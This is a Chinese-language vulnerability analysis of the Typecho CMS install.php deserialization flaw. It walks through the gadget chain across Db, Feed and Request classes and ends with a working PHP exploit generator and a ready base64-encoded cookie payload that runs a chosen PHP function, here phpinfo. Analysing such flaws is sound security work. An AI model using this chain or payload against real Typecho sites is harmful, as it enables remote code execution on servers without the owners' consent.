漏洞成因
install.php中229-235行存在如下代码
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
第230行获取了’__typecho_config’ Cookie信息后未进行过滤直接执行反序列化操作,导致这个点可以进行反序列化攻击。
第232行$db = new Typecho_Db($config['adapter'], $config['prefix']);
跟进一下这个Db对象
魔术方法
方法 | 调用条件 |
---|---|
__wakeup() | 使用unserialize时触发 |
__sleep() | 使用serialize时触发 |
__destruct() | 对象被销毁时触发 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__toString() | 把类当作字符串使用时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
在Db.php中120存在如下代码
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
$adapterName定义的时候拼接了一个字符串,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,自动调用__toString
魔术方法。
全局搜索__toString
方法,得到三处结果
-
Config.php
public function __toString() { return serialize($this->_currentConfig); }
执行序列化操作
-
Query.php
public function __toString() { switch ($this->_sqlPreBuild['action']) { case Typecho_Db::SELECT: return $this->_adapter->parseSelect($this->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this->_sqlPreBuild['table'] . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' . ' VALUES ' . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' . $this->_sqlPreBuild['limit']; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this->_sqlPreBuild['table'] . $this->_sqlPreBuild['where']; case Typecho_Db::UPDATE: $columns = array(); if (isset($this->_sqlPreBuild['rows'])) { foreach ($this->_sqlPreBuild['rows'] as $key => $val) { $columns[] = "$key = $val"; } } return 'UPDATE ' . $this->_sqlPreBuild['table'] . ' SET ' . implode(' , ', $columns) . $this->_sqlPreBuild['where']; default: return NULL; } }
这里是构造的一些查询语句,也没有可利用的点
-
Feed.php
从第290行开始
foreach ($this->_items as $item) { $content .= '<item>' . self::EOL; $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL; $content .= '<link>' . $item['link'] . '</link>' . self::EOL; $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL; $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL; $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
程序调用私有变量所在类的__get()方法获取私有变量
搜索__get
得到的结果如下
重点在Request.php中
public function __get($key)
{
return $this->get($key);
}
跟进这个get方法来到283行
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
$value的值最终传入_applyFilter,那么再找一下这个函数的位置
第159行private function使用了两个危险函数
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
- array_map
- call_user_func
如果$value是数组则将调用array_map,反之则将调用call_user_func
完整流程
-
从Cookie或POST数据中找到’__typecho_config’字段
-
调用’__typecho_config’中的’adapter’和’prefix’实例化一个Typecho_Db类
-
当设置的’adapter’是一个类时,触发
__toString()
魔术方法 -
Feed类中的
__toString()
魔术方法访问了$item[‘author’]->screenName触发get()
魔术方法 -
Typecho_Request类调用
__get()
方法最终_params[$key]
的值传入_applyFilter
方法并执行代码
Exp
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 1; // 执行的参数值
$this->_filter[0] = 'phpinfo'; //filter执行的函数
}
}
class Typecho_Feed{
const RSS2 = 'RSS 2.0'; //进入toString内部判断条件
private $_items = array();
private $_type;
function __construct()
{
$this->_type = self::RSS2;
$_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
$_item['category'] = array(new Typecho_Request());//触发错误
$this->_items[0] = $_item;
}
}
$exp = new Typecho_Feed();
$a = array(
'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
'prefix' =>'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
得到的payload如下
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6MTt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aToxO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D
使用POST提交数据
参考链接:https://www.anquanke.com/post/id/155306
https://www.freebuf.com/vuls/152058.html
https://www.freebuf.com/vuls/155753.html